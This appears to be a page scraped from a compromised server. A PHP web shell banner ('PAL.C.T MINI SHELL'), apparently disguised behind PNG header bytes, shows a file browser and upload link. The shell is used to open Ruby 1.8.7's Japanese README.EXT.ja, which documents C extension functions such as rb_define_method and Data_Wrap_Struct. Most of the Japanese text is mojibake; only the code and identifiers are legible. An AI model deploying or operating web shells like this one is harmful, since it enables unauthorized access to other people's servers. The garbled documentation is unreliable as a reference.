php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/doc/ruby-devel-1.8.7.374/
upload
files >> //proc/self/root/usr/share/doc/ruby-devel-1.8.7.374/README.EXT.ja

.\" README.EXT.ja -  -*- Text -*- created at: Mon Aug  7 16:45:54 JST 1995

Rubyγĥ饤֥κޤ

1μ

CѿˤϷꡤǡˤϷޤ󡥤Ǥ顤
ȤХݥ󥿤intѿȡͤȤƼ
갷ޤդRubyѿˤϷʤǡ˷
ΰ㤤ΤᡤCRubyߤѴʤСߤ
ǡ򥢥Ǥޤ

RubyΥǡVALUEȤCηɽޤVALUEΥǡ
ϤΥǡפʬΤäƤޤΥǡפ
Τϥǡ(֥)μºݤι¤̣ƤơRuby
Υ饹ȤϤޤäΤǤ

VALUECˤȤäựΤǡФˤ

 (1) VALUEΥǡפΤ
 (2) VALUECΥǡѴ

ξɬפǤ(1)˺ȴְäǡѴԤ
ơǰץबcore dumpޤ

1.1 ǡ

Rubyˤϥ桼ȤǽΤʲΥפޤ

	T_NIL		nil
	T_OBJECT	̾Υ֥
	T_CLASS		饹
	T_MODULE	⥸塼
	T_FLOAT		ư
	T_STRING	ʸ
	T_REGEXP	ɽ
	T_ARRAY		
	T_FIXNUM	Fixnum(31bitĹ)
	T_HASH		Ϣ
	T_STRUCT	(Ruby)¤
	T_BIGNUM	¿Ĺ
	T_FILE		
	T_TRUE		
	T_FALSE		
	T_DATA		ǡ
	T_SYMBOL	ܥ

¾ѤƤʲΥפޤ

	T_ICLASS
	T_MATCH
	T_UNDEF
	T_VARMAP
	T_SCOPE
	T_NODE

ۤȤɤΥפCι¤ΤǼƤޤ

1.2 VALUEΥǡפå

ruby.hǤTYPE()ȤޥƤơVALUEΥǡ
פΤ뤳ȤޤTYPE()ޥϾǾҲ𤷤T_XXXX
η֤ޤVALUEΥǡפ˱ƽ
ˤϡTYPE()ͤʬ뤳Ȥˤʤޤ

  switch (TYPE(obj)) {
    case T_FIXNUM:
      /* FIXNUMν */
      break;
    case T_STRING:
      /* ʸν */
      break;
    case T_ARRAY:
      /* ν */
      break;
    default:
      /* 㳰ȯ */
      rb_raise(rb_eTypeError, "not valid value");
      break;
  }

ȥǡפåơʤ㳰ȯ
ؿѰդƤޤ

  void Check_Type(VALUE value, int type)

δؿvaluetype̵С㳰ȯޤ
Ϳ줿VALUEΥǡפɤå
뤿ˤϡδؿȤޤ

FIXNUMNIL˴ؤƤϤ®Ƚ̥ޥѰդƤޤ

  FIXNUM_P(obj)
  NIL_P(obj)

1.3 VALUECΥǡѴ

ǡפT_NIL, T_FALSE, T_TRUEǤǡϤ줾
nil, false, trueǤΥǡפΥ֥ȤϤҤ
ĤĤ¸ߤޤ

ǡפT_FIXNUMλ31bitΥ
FIXNUMCѴ뤿ˤϥޥFIX2INT()פ
ޤ줫顤FIXNUM˸¤餺RubyΥǡѴ
NUM2INT()פȤޥޤΥޥϥǡ
פΥå̵ǻȤޤ(ѴǤʤˤ㳰
ȯ)Ʊͤ˥å̵ǻȤѴޥdouble
ФNUM2DBL()פޤ

char* Ф硢version 1.6 ǤϡSTR2CSTR()פ
ޥȤäƤޤ to_str() ˤۤ
Ѵ̤ GC ǽ뤿ᡢversion 1.7 ʹߤǤ
obsolete Ȥʤꡢ StringValue()  StringValuePtr()
Ȥ侩ƤޤStringValue(var)  var  String
 Ǥв⤻Ǥʤ var  var.to_str() η̤
֤ޥStringValuePtr(var) Ʊͤ var ֤
Ƥ var ʸɽФ char* ֤ޥǤvar 
Ƥľ֤Τǡvar  lvalue Ǥɬפ
ޤ

ʳΥǡפбCι¤Τޤб
빽¤ΤΤVALUEϤΤޤޥ㥹(Ѵ)й¤Τ
ݥ󥿤ѴǤޤ

¤Τϡstruct RXxxxxפȤ̾ruby.hƤ
㤨ʸϡstruct RStringפǤºݤ˻Ȥǽ
Τʸ󤯤餤Ȼפޤ

ruby.hǤϹ¤Τإ㥹ȤޥRXXXXX()(ʸ
ˤ)Ȥ̾󶡤Ƥޤ(: RSTRING())

㤨СʸstrĹ뤿ˤϡRSTRING(str)->lenפ
ʸstrchar*Ȥ뤿ˤϡRSTRING(str)->ptr
Ȥޤξˤϡ줾RARRAY(ary)->lenס
RARRAY(ary)->ptrפȤʤޤ

Rubyι¤Τľܥ˵ĤʤФʤʤ
Ȥϡʸι¤ΤȤϻȤǡľѹ
ʤȤǤľѹ硤֥ȤƤ
Ȥʤʤäơפ̥Хθˤʤޤ

1.4 CΥǡVALUEѴ

VALUEμºݤι¤

  * FIXNUMξ

    1bitեȤơLSBΩƤ롥

  * ¾Υݥ󥿤ξ

    ΤޤVALUE˥㥹Ȥ롥

ȤʤäƤޤäơLSBåVALUEFIXNUM
狼櫓Ǥ(ݥ󥿤LSBΩäƤʤȤꤷ
)

Ǥ顤FIXNUMʳRubyΥ֥Ȥι¤ΤñVALUE
˥㥹ȤVALUEѴޤǤդι¤
ΤVALUE˥㥹Ƚ櫓ǤϤޤ󡥥㥹Ȥ
RubyΤäƤ빽¤(ruby.hƤstruct RXxxx
Τ)Ǥ

FIXNUM˴ؤƤѴޥͳɬפޤC
VALUEѴޥϰʲΤΤޤɬפ˱
ƻȤʬƤ

  INT2FIX()	Ȥ31bit˼ޤ뼫
  INT2NUM()	ǤդVALUE

INT2NUM()FIXNUMϰϤ˼ޤʤ硤BignumѴ
Ƥޤ(٤)

1.5 RubyΥǡ

Ҥ٤̤ꡤRubyι¤Τ򥢥Ƥι
ԤȤϴޤ󡥤ǡRubyΥǡˤ
RubyѰդƤؿѤƤ

ǤϤäȤȤǤʸ/
ؿ򤢤ޤ(ǤϤʤǤ)

 ʸФؿ

  rb_str_new(const char *ptr, long len)

    Rubyʸ롥

  rb_str_new2(const char *ptr)

    Cʸ󤫤Rubyʸ롥δؿεǽ
    rb_str_new(ptr, strlen(ptr))ƱǤ롥

  rb_tainted_str_new(const char *ptr, long len)

    ޡղä줿Rubyʸ롥
    Υǡ˴Ťʸˤϱޡղä٤
    Ǥ롥

  rb_tainted_str_new2(const char *ptr)

    Cʸ󤫤ޡղä줿Rubyʸ롥

  rb_str_cat(VALUE str, const char *ptr, long len)

    RubyʸstrlenХȤʸptrɲä롥

 Фؿ

  rb_ary_new()

    Ǥ0롥

  rb_ary_new2(long len)

    Ǥ0롥lenʬΰ򤢤餫
    ƤƤ

  rb_ary_new3(long n, ...)

    ǻꤷnǤޤ롥

  rb_ary_new4(long n, VALUE *elts)

    ͿnǤ롥

  rb_ary_push(VALUE ary, VALUE val)
  rb_ary_pop(VALUE ary)
  rb_ary_shift(VALUE ary)
  rb_ary_unshift(VALUE ary, VALUE val)

    ArrayƱ̾Υ᥽åɤƱƯ򤹤ؿ1ɬ
    ǤʤФʤʤ

2RubyεǽȤ

ŪRubyǽ񤱤뤳ȤCǤ񤱤ޤRubyΤΤCǵ
ҤƤǤ顤ȤʤǤɡ
Rubyγĥ˻ȤȤ¿ͽ¬뵡ǽ濴˾
𤷤ޤ

2.1 Ruby˵ǽɲä

Ruby󶡤ƤؿȤRuby󥿥ץ꥿˿ǽ
ɲä뤳ȤǤޤRubyǤϰʲεǽɲäؿ
󶡤Ƥޤ

 * 饹⥸塼
 * ᥽åɡðۥ᥽åɤʤ
 * 

ǤϽ˾Ҳ𤷤ޤ

2.1.1 饹/⥸塼

饹⥸塼뤿ˤϡʲδؿȤޤ

  VALUE rb_define_class(const char *name, VALUE super)
  VALUE rb_define_module(const char *name)

δؿϿ줿饹⥸塼֤ޤ
᥽åɤˤͤɬפʤΤǡۤȤɤξ
ͤѿ˳ǼƤɬפǤ礦

饹⥸塼¾Υ饹˥ͥȤ
ϰʲδؿȤޤ

  VALUE rb_define_class_under(VALUE outer, const char *name, VALUE super)
  VALUE rb_define_module_under(VALUE outer, const char *name)

2.1.2 ᥽å/ðۥ᥽å

᥽åɤðۥ᥽åɤˤϰʲδؿȤޤ

  void rb_define_method(VALUE klass, const char *name, 
		        VALUE (*func)(), int argc)

  void rb_define_singleton_method(VALUE object, const char *name, 
			          VALUE (*func)(), int argc)


ǰΤȡðۥ᥽åɡפȤϡΥ֥
ȤФƤͭʥ᥽åɤǤRubyǤϤ褯Smalltalkˤ
륯饹᥽åɤȤơ饹Фðۥ᥽åɤȤ
ޤ

δؿ argcȤCδؿϤο(
)ޤargc0ʾλϴؿ˰Ϥο
̣ޤ16İʾΰϻȤޤ(פޤ͡
ʤ)ºݤδؿˤƬΰȤselfͿޤ
ǡꤷ1¿ĤȤˤʤޤ

argcλϰοǤϤʤꤷȤˤʤޤ
argc-1λϰϤޤargc-2λϰ
RubyȤϤޤ

᥽åɤؿϤ⤦ĤޤҤȤĤprivate
åɤؿǡrb_define_method()ƱǤ

  void rb_define_private_method(VALUE klass, const char *name, 
				VALUE (*func)(), int argc)

private᥽åɤȤϴؿǤƤӽФȤνʤ᥽
ɤǤ

⤦ҤȤĤϥ⥸塼ؿΤǤ⥸塼ؿ
Ȥϥ⥸塼ðۥ᥽åɤǤꡤƱprivate᥽åɤ
⤢ΤǤ򤢤Math⥸塼sqrt()ʤɤ
ޤΥ᥽åɤ

  Math.sqrt(4)

ȤǤ

  include Math
  sqrt(4)

ȤǤȤޤ⥸塼ؿؿϰʲ
̤Ǥ

  void rb_define_module_function(VALUE module, const char *name, 
		                 VALUE (*func)(), int argc)

ؿŪ᥽å(Kernel⥸塼private method)뤿
δؿϰʲ̤Ǥ

  void rb_define_global_function(const char *name, VALUE (*func)(), int argc)


᥽åɤ̾뤿δؿϰʲ̤Ǥ

  void rb_define_alias(VALUE module, const char* new, const char* old);

饹᥽åallocateꤹ뤿δؿ
ʲ̤Ǥ

  void rb_define_alloc_func(VALUE klass, VALUE (*func)(VALUE klass));
  void rb_undef_alloc_func(VALUE klass);

funcϥ饹ȤƼäơƤ줿
󥹤֤ʤƤϤʤޤ󡣤Υ󥹥󥹤ϡ
ʤɤޤޤʤǤֶפΤޤޤˤƤۤ
褤Ǥ礦

2.1.3 

ĥ饤֥꤬ɬפϤ餫Ƥɤ
Ǥ礦ؿĤޤ

  void rb_define_const(VALUE klass, const char *name, VALUE val)
  void rb_define_global_const(const char *name, VALUE val)

ԤΥ饹/⥸塼°Ρ
ԤϥХΤǤ

2.2 RubyεǽCƤӽФ

ˡ1.5 RubyΥǡ٤ǰҲ𤷤褦ʴؿ
ȤСRubyεǽ¸ƤؿľܸƤӽФȤ
ޤ

# Τ褦ʴؿΰɽϤޤΤȤޤ󡥥
# 뤷ʤǤ͡

ʳˤRubyεǽƤӽФˡϤĤޤ

2.2.1 RubyΥץeval

CRubyεǽƤӽФäȤñˡȤơʸ
Ϳ줿RubyΥץɾʲδؿޤ

  VALUE rb_eval_string(const char *str)

ɾϸߤδĶǹԤޤĤޤꡤߤΥѿ
ʤɤѤޤ

2.2.2 IDޤϥܥ

CʸͳRubyΥ᥽åɤƤӽФȤǤ
ˡRuby󥿥ץ꥿ǥ᥽åɤѿ̾ꤹ
˻ȤƤIDˤĤƤޤ礦

IDȤѿ̾᥽å̾ɽǤRubyǤIDб
֥ȤȤƥܥ(Symbol)ꡤ

 :̻

ǥǤޤC餳뤿ˤϴؿ

  rb_intern(const char *name)

ȤޤRubyȤͿ줿ܥ(ޤʸ
)IDѴˤϰʲδؿȤޤ

  rb_to_id(VALUE symbol)

ID饷ܥ뤿ˤϰʲΥޥȤޤ

  VALUE ID2SYM(ID id)

ܥ뤫ID뤿ˤϰʲΥޥȤޤ

  ID SYM2ID(VALUE symbol)

2.2.3 CRubyΥ᥽åɤƤӽФ

CʸͳRubyΥ᥽åɤƤӽФˤϰʲ
δؿȤޤ

  VALUE rb_funcall(VALUE recv, ID mid, int argc, ...)

δؿϥ֥recvmidǻꤵ᥽åɤƤӽ
ޤ¾˰λλ㤦ʲδؿ⤢ޤ

  VALUE rb_funcall2(VALUE recv, ID mid, int argc, VALUE *argv)
  VALUE rb_apply(VALUE recv, ID mid, VALUE args)

applyˤϰȤRubyͿޤ

2.2.4 ѿ/򻲾/

CؿȤäƻȡǤΤϡ󥹥
ǤѿϰΤΤCѿȤƥǤ
ޤѿ򻲾ȤˡϸƤޤ

֥ȤΥ󥹥ѿ򻲾ȡؿϰʲ
Ǥ

  VALUE rb_ivar_get(VALUE obj, ID id)
  VALUE rb_ivar_set(VALUE obj, ID id, VALUE val)

idrb_intern()ΤȤäƤ

򻲾ȤˤϰʲδؿȤäƤ

  VALUE rb_const_get(VALUE obj, ID id)

򿷤뤿ˤϡ2.1.3 ٤ǾҲ
ƤؿȤäƤ

3RubyCȤξͭ

CRubyδ֤ǾͭˡˤĤƲ⤷ޤ

3.1 C黲ȤǤRuby

ʲRubyCΥ٥뤫黲ȤǤޤ

  Qtrue
  Qfalse

    ͡QfalseCǤ⵶Ȥߤʤޤ(Ĥޤ0)

  Qnil

    C줫鸫nilס

3.2 CRubyǶͭѿ

CRubyѿȤäƾͭǤޤͭǤ
ѿˤϤĤμबޤΤʤǤäȤɤȤ
ȻפΤrb_define_variable()Ǥ

  void rb_define_variable(const char *name, VALUE *var)

δؿRubyCȤǶͭѿޤѿ̾
`$'ǻϤޤʤˤϼưŪɲäޤѿͤ
ȼưŪRubyбѿͤѤޤ

ޤRuby¦ϹǤʤѿ⤢ޤread only
ѿϰʲδؿޤ

  void rb_define_readonly_variable(const char *name, VALUE *var)

ѿ¾hookĤѿǤޤhookդ
ѿϰʲδؿѤޤhookդѿ
ͤλȤhookǹԤɬפޤ

  void rb_define_hooked_variable(const char *name, VALUE *var,
				 VALUE (*getter)(), void (*setter)())

δؿCδؿˤähookΤĤ줿ѿ
ѿȤ줿ˤϴؿgetterѿͤåȤ
ˤϴؿsetterƤФ롥hookꤷʤgetter
setter0ꤷޤ

# gettersetter0ʤrb_define_variable()Ʊˤʤ롥

줫顤CδؿˤäƼ¸Rubyѿ
ؿޤ

  void rb_define_virtual_variable(const char *name,
				  VALUE (*getter)(), void (*setter)())

δؿˤä줿RubyѿȤ줿ˤ
getterѿͤåȤ줿ˤsetterƤФޤ

gettersetterλͤϰʲ̤Ǥ

  (*getter)(ID id, void *data, struct global_entry* entry);
  (*setter)(VALUE val, ID id, void *data, struct global_entry* entry);

3.3 CΥǡRuby֥Ȥˤ

C줿ǡ(¤)RubyΥ֥ȤȤ
갷礬ꤨޤΤ褦ʾˤϡDataȤ
Ruby֥ȤCι¤(ؤΥݥ)򤯤ळȤRuby
֥ȤȤƼ갷褦ˤʤޤ

Data֥Ȥƹ¤ΤRuby֥Ȥ˥ץ
뤿ˤϡʲΥޥȤޤ

  Data_Wrap_Struct(klass, mark, free, ptr)

Υޥͤ줿Data֥ȤǤ

klassϤData֥ȤΥ饹Ǥptrϥץ벽
Cι¤ΤؤΥݥ󥿤ǤmarkϤι¤ΤRubyΥ֥
ȤؤλȤ˻ȤؿǤΤ褦ʻȤޤޤʤ
ˤ0ꤷޤ

# Τ褦ʻȤϴޤ

freeϤι¤Τ⤦פˤʤä˸ƤФؿǤ
ؿ١쥯ƤФޤ줬-1ξϡñ
˳ޤ

Cι¤ΤγData֥ȤƱ˹Ԥޥ
ưʲΤΤ󶡤Ƥޤ

  Data_Make_Struct(klass, type, mark, free, sval)

Υޥͤ줿Data֥ȤǤ

klass, mark, freeData_Wrap_StructƱƯ򤷤ޤtype
ϳƤC¤ΤηǤƤ줿¤Τѿsval
ޤѿη (type*) Ǥɬפޤ

Data֥Ȥݥ󥿤ФΤϰʲΥޥѤ
ޤ

  Data_Get_Struct(obj, type, sval)

Cι¤ΤؤΥݥ󥿤ѿsvalޤ

DataλȤϤäʬˤΤǡ
򻲾ȤƤ

4 - dbmѥå

ޤǤǤȤꤢĥ饤֥ϺϤǤ
Rubyextǥ쥯ȥˤǤ˴ޤޤƤdbm饤֥
ʳŪޤ

(1) ǥ쥯ȥ

  % mkdir ext/dbm

Ruby 1.1ǤդΥǥ쥯ȥǥʥߥå饤֥
뤳ȤǤ褦ˤʤޤRubyŪ˥󥯤
RubyŸǥ쥯ȥβextǥ쥯ȥ˳ĥ
饤֥ѤΥǥ쥯ȥɬפޤ̾Ŭ
ǹޤ

(2) ߷פ

ޤʤǤɡɤǽ¸뤫ɤޤ
פɬפޤɤʥ饹Ĥ뤫Υ饹ˤ
ɤʥ᥽åɤ뤫饹󶡤ʤɤˤĤ߷
ޤ

(3) Cɤ

ĥ饤֥ΤȤʤCΥ񤭤ޤCΥ
ҤȤĤλˤϡ֥饤֥̾.cפ֤ɤǤ礦C
Υʣξˤϵդˡ֥饤֥̾.cפȤե
̾򤱤ɬפޤ֥ȥեȥ⥸塼
Ū֥饤֥̾.oפȤե
Ȥͤ뤫Ǥ

Rubyϳĥ饤֥ɤˡInit_饤֥̾פ
ؿưŪ˼¹Ԥޤdbm饤֥ξInit_dbm
Ǥδؿǥ饹⥸塼롤᥽åɡʤɤ
Ԥޤdbm.cѤޤ

--
Init_dbm()
{
    /* DBM饹 */
    cDBM = rb_define_class("DBM", rb_cObject);
    /* DBMEnumerate⥸塼򥤥󥯥롼ɤ */
    rb_include_module(cDBM, rb_mEnumerable);

    /* DBM饹Υ饹᥽åopen(): CǼ */
    rb_define_singleton_method(cDBM, "open", fdbm_s_open, -1);

    /* DBM饹Υ᥽åclose(): Ϥʤ */
    rb_define_method(cDBM, "close", fdbm_close, 0);
    /* DBM饹Υ᥽å[]: 1 */
    rb_define_method(cDBM, "[]", fdbm_fetch, 1);
		:

    /* DBMǡǼ륤󥹥ѿ̾ΤID */
    id_dbm = rb_intern("dbm");
}
--

DBM饤֥dbmΥǡб륪֥ȤˤʤϤ
顤CdbmRuby˼ɬפޤ


dbm.cǤData_Make_StructʲΤ褦˻ȤäƤޤ

--
struct dbmdata {
    int  di_size;
    DBM *di_dbm;
};


obj = Data_Make_Struct(klass, struct dbmdata, 0, free_dbm, dbmp);
--

Ǥdbmstruct¤ΤؤΥݥ󥿤Data˥ץ벽Ƥ
ޤDBM*ľܥץ벽ʤΤclose()ν
ƤΤȤǤ

Data֥Ȥdbmstruct¤ΤΥݥ󥿤Ф
˰ʲΥޥȤäƤޤ

--
#define GetDBM(obj, dbmp) {\
    Data_Get_Struct(obj, struct dbmdata, dbmp);\
    if (dbmp->di_dbm == 0) closed_dbm();\
}
--

äʣʥޥǤפdbmdata¤ΤΥݥ
μФȡcloseƤ뤫ɤΥåޤȤƤ
Ǥ

DBM饹ˤϤ᥽åɤޤʬह3
μޤҤȤĤϰοΤΤǡ
Ƥdelete᥽åɤޤdelete᥽åɤƤ
fdbm_delete()ϤΤ褦ˤʤäƤޤ

--
static VALUE
fdbm_delete(obj, keystr)
    VALUE obj, keystr;
{
	:
}
--

οΥפ1self2ʹߤ᥽å
ΰȤʤޤ

οΤΤCǼΤRubyǼ
ΤȤޤdbm饤֥ǡCǼ
DBMΥ饹᥽åɤǤopen()ǤƤ
fdbm_s_open()ϤʤäƤޤ

--
static VALUE
fdbm_s_open(argc, argv, klass)
    int argc;
    VALUE *argv;
    VALUE klass;
{
	:
    if (rb_scan_args(argc, argv, "11", &file, &vmode) == 1) {
	mode = 0666;		/* default value */
    }
	:
}
--

Υפδؿ1Ϳ줿ο2Ϳ
줿äƤˤʤޤself3ȤͿ
ޤ

Ϳ줿Ϥ뤿δؿopen()ǤȤ
Ƥrb_scan_args()Ǥ3˻ꤷեޥåȤ
4ѿʹߤ˻ꤷѿͤƤޤ
եޥåȤϡ1ʸܤάǤʤο2ʸܤ
άǤο3ʸܤб̵꤬ޤΰ
뤫ɤ򼨤"*"Ǥ2ʸܤ3ʸܤϾάǤ
dbm.cǤϡեޥåȤ"11"Ǥ顤Ϻ1
ǡ2ĤޤǵȤ̣ˤʤޤάƤ
ѿͤnil(CΥ٥ǤQnil)ˤʤޤ

RubyǰΤindexesޤϤ
Ǥ

--
static VALUE
fdbm_indexes(obj, args)
    VALUE obj, args;
{
	:
}
--

1self2RubyǤ

** ջ

RubyȶͭϤʤRubyΥ֥ȤǼǽΤ
CѿϰʲδؿȤäRuby󥿥ץ꥿ѿ¸
򶵤ƤƤǤʤGCǥȥ֥򵯤ޤ

  void rb_global_variable(VALUE *var)

(4) extconf.rbѰդ

Makefileοˤʤextconf.rbȤե
ޤextconf.rbϥ饤֥ΥѥɬפʾΥ
ʤɤԤȤŪǤޤ

  require 'mkmf'

extconf.rbƬ֤ޤextconf.rbǤϰʲRuby
ȤȤޤ

  have_library(lib, func): 饤֥¸ߥå
  have_func(func, header): ؿ¸ߥå
  have_header(header): إåե¸ߥå
  create_makefile(target): Makefile

ʲѿȤȤǤޤ

  $CFLAGS: ѥɲŪ˻ꤹե饰(-Oʤ)
  $CPPFLAGS: ץץåɲŪ˻ꤹե饰(-I-Dʤ)
  $LDFLAGS: 󥯻ɲŪ˻ꤹե饰(-Lʤ)
  $objs: 󥯤륪֥ȥե̾Υꥹ

֥ȥեΥꥹȤϡ̾ϥե򸡺
ƼưŪޤmakeǥ褦
Ū˻ꤹɬפޤ

饤֥򥳥ѥ뤹郎·鷺Υ饤֥򥳥
ѥ뤷ʤˤcreate_makefileƤФʤMakefile
줺ѥԤޤ

(5) dependѰդ

⤷ǥ쥯ȥdependȤե뤬¸ߤС
Makefile¸طåƤޤ

  % gcc -MM *.c > depend

ʤɤǺ뤳Ȥޤä»̵Ǥ礦

(6) Makefile

Makefileºݤ뤿ˤ

  ruby extconf.rb

Ȥޤextconf.rb require 'mkmf' ιԤʤˤϥ顼
ˤʤޤΤǡɲä

  ruby -r mkmf extconf.rb

ȤƤ

site_ruby ǥ쥯ȥǤʤ
vendor_ruby ǥ쥯ȥ˥󥹥ȡ뤹ˤ
ʲΤ褦 --vendor ץäƤ

  ruby extconf.rb --vendor

ǥ쥯ȥextʲѰդˤRubyΤmakeλ
ưŪMakefileޤΤǡΥƥåפפǤ

(7) make

ưŪ󥯥饤֥ˤϤξmakeƤ
ɬפǤ make install ǥ󥹥ȡ뤵ޤ

extʲ˥ǥ쥯ȥѰդϡRubyΥǥ쥯ȥ
make¹ԤMakefilemakeɬפˤäƤϤΥ
塼RubyؤΥ󥯤ޤǼưŪ˼¹ԤƤޤ
extconf.rb񤭴ʤɤMakefileκɬפʻϤ
Rubyǥ쥯ȥmakeƤ

ĥ饤֥make installRuby饤֥Υǥ쥯ȥ
˥ԡޤ⤷ĥ饤֥ȶĴƻȤRubyǵ
Ҥ줿ץबꡤRuby饤֥֤ˤϡ
ĥ饤֥ѤΥǥ쥯ȥβ lib Ȥǥ쥯ȥ
ꡤ ĥ .rb Υե֤ƤƱ˥
ȡ뤵ޤ

(8) ǥХå

ޤǥХåʤưʤǤ礦͡ext/Setup˥ǥ
ȥ̾񤯤Ū˥󥯤ΤǥǥХåȤ褦ˤ
ޤʬѥ뤬٤ʤޤɡ

(9) Ǥ

ϤäȤʤꡤʤꡤʤꡤͳˤ
ȤRubyκԤϳĥ饤֥˴ؤưڤθ
ĥޤ

Appendix A. RubyΥɤʬ

RubyΥϤĤʬह뤳ȤޤΤ
饤֥ʬϴŪ˳ĥ饤֥Ʊˤʤ
ƤޤΥϺޤǤǤۤȤǤ
פޤ

RubyΥ

  class.c
  error.c
  eval.c
  gc.c
  object.c
  parse.y
  variable.c

桼ƥƥؿ

  dln.c
  regex.c
  st.c
  util.c

Rubyޥɤμ

  dmyext.c
  inits.c
  main.c
  ruby.c
  version.c

饹饤֥

  array.c
  bignum.c
  compar.c
  dir.c
  enum.c
  file.c
  hash.c
  io.c
  marshal.c
  math.c
  numeric.c
  pack.c
  prec.c
  process.c
  random.c
  range.c
  re.c
  signal.c
  sprintf.c
  string.c
  struct.c
  time.c

Appendix B. ĥѴؿե

C줫RubyεǽѤAPIϰʲ̤Ǥ롥

** 

VALUE

  Ruby֥Ȥɽ뷿ɬפ˱ƥ㥹ȤѤ롥
  Ȥ߹߷ɽCηruby.h˵ҤƤRǻϤޤ빽¤
  ΤǤ롥VALUE򤳤˥㥹Ȥ뤿RǻϤޤ빽¤
  ̾ʸˤ̾ΥޥѰդƤ롥

** ѿ

Qnil

  : nil֥

Qtrue

  : true֥(Υǥե)

Qfalse

  : false֥

** CǡΥץ벽

Data_Wrap_Struct(VALUE klass, void (*mark)(), void (*free)(), void *sval)

  CǤդΥݥ󥿤򥫥ץ벽Ruby֥Ȥ֤
  Υݥ󥿤Ruby饢ʤʤäfreeǻꤷ
  ؿƤФ롥ޤΥݥ󥿤λؤǡ¾Ruby
  ȤؤƤ硤mark˻ꤹؿǥޡɬ
  롥

Data_Make_Struct(klass, type, mark, free, sval)

  typeΥmallocѿsval塤򥫥ץ
  벽ǡ֤ޥ

Data_Get_Struct(data, type, sval)

  datatypeΥݥ󥿤Фѿsvalޥ

** å

TYPE(value)
FIXNUM_P(value)
NIL_P(value)
void Check_Type(VALUE value, int type)
void Check_SafeStr(VALUE value)

** Ѵ

FIX2INT(value)
INT2FIX(i)
NUM2INT(value)
INT2NUM(i)
NUM2DBL(value)
rb_float_new(f)
StringValue(value)
StringValuePtr(value)
StringValueCStr(value)
rb_str_new2(s)

** 饹/⥸塼

VALUE rb_define_class(const char *name, VALUE super)

  superΥ֥饹ȤƿRuby饹롥

VALUE rb_define_class_under(VALUE module, const char *name, VALUE super)

  superΥ֥饹ȤƿRuby饹module
  Ȥ롥

VALUE rb_define_module(const char *name)

  Ruby⥸塼롥

VALUE rb_define_module_under(VALUE module, const char *name)

  Ruby⥸塼moduleȤ롥

void rb_include_module(VALUE klass, VALUE module)

  ⥸塼򥤥󥯥롼ɤ롥classǤmodule򥤥
  롼ɤƤˤϲ⤷ʤ(¿ť󥯥롼ɤζػ)

void rb_extend_object(VALUE object, VALUE module)

  ֥Ȥ⥸塼(Ƥ᥽å)dzĥ롥

** ѿ

void rb_define_variable(const char *name, VALUE *var)

  RubyCȤǶͭ륰Хѿ롥ѿ̾`$'
  ϤޤʤˤϼưŪɲä롥nameȤRubyμ̻
  ȤƵʤʸ(㤨` ')ޤˤRubyץ
  फϸʤʤ롥

void rb_define_readonly_variable(const char *name, VALUE *var)

  RubyCȤǶͭread onlyΥХѿ롥
  read onlyǤ뤳Ȱʳrb_define_variable()Ʊ

void rb_define_virtual_variable(const char *name,
				VALUE (*getter)(), void (*setter)())

  ؿˤäƼ¸Rubyѿ롥ѿȤ줿
  ˤgetterѿͤåȤ줿ˤsetterƤФ
  롥

void rb_define_hooked_variable(const char *name, VALUE *var,
			       VALUE (*getter)(), void (*setter)())

  ؿˤähookΤĤ줿Хѿ롥ѿ
  Ȥ줿ˤgetterؿͤåȤ줿ˤ
  setterƤФ롥gettersetter0ꤷˤhook
  ꤷʤΤƱˤʤ롥

void rb_global_variable(VALUE *var)

  GCΤᡤRubyץफϥʤ, Ruby
  Ȥޤѿޡ롥

** 

void rb_define_const(VALUE klass, const char *name, VALUE val)

  롥

void rb_define_global_const(const char *name, VALUE val)

  롥

     rb_define_const(rb_cObject, name, val)

  Ʊ̣

** ᥽å

rb_define_method(VALUE klass, const char *name, VALUE (*func)(), int argc)

  ᥽åɤ롥argcselfοargc-1λ, 
  ؿˤϰο(selfޤޤʤ)1, 2
  ȤͿ(3self)argc-2λ, 
  1self, 2args(argsϰޤRuby)
  Ϳ롥
 
rb_define_private_method(VALUE klass, const char *name, VALUE (*func)(), int argc)

  private᥽åɤ롥rb_define_method()Ʊ

rb_define_singleton_method(VALUE klass, const char *name, VALUE (*func)(), int argc)

  ðۥ᥽åɤ롥rb_define_method()Ʊ

rb_scan_args(int argc, VALUE *argv, const char *fmt, ...)

  argc, argvͿ줿ʬ򤹤롥fmtɬܰο, 
  ղðο, Ĥΰ뤫ꤹʸ, "
  *"ȤǤ롥 2 ܤο"*"Ϥ줾ά
  ǽǤ롥ɬܰĤʤ0ꤹ롥3
  ߤѿؤΥݥ󥿤, Ǥѿ˳Ǽ롥
  ղðбͿƤʤѿQnil
  롥

** Ruby᥽åɸƤӽФ

VALUE rb_funcall(VALUE recv, ID mid, int narg, ...)

  ᥽åɸƤӽФʸ󤫤mid뤿ˤrb_intern()
  Ȥ

VALUE rb_funcall2(VALUE recv, ID mid, int argc, VALUE *argv)

  ᥽åɸƤӽФargc, argvϤ

VALUE rb_eval_string(const char *str)

  ʸRubyץȤȤƥѥ롦¹Ԥ롥

ID rb_intern(const char *name)

  ʸбID֤

char *rb_id2name(ID id)

  IDбʸ֤(ǥХå)

char *rb_class2name(VALUE klass)

  饹֤̾(ǥХå)饹̾ʤˤ, 
  ̤ä̾ĥ饹֤̾

int rb_respond_to(VALUE obj, ID id)

  objidǼ᥽åɤĤɤ֤

** 󥹥ѿ

VALUE rb_iv_get(VALUE obj, const char *name)

  objΥ󥹥ѿͤ롥`@'ǻϤޤʤ󥹥
  ѿ Rubyץफ饢Ǥʤֱ줿ץ
  ѿˤʤ롥ʸ̾ĥ饹(ޤ
  ⥸塼)Υ󥹥ѿȤƼƤ롥

VALUE rb_iv_set(VALUE obj, const char *name, VALUE val)

  objΥ󥹥ѿval˥åȤ롥

** 湽¤

VALUE rb_iterate(VALUE (*func1)(), VALUE arg1, VALUE (*func2)(), VALUE arg2)

  func2֥åȤꤷ, func1򥤥ƥ졼ȤƸƤ֡ 
  func1ˤ arg1ȤϤ, func2ˤ1˥ƥ졼
  Ϳ줿, 2arg2Ϥ롥
 
VALUE rb_yield(VALUE val)

  valͤȤƥƥ졼֥åƤӽФ

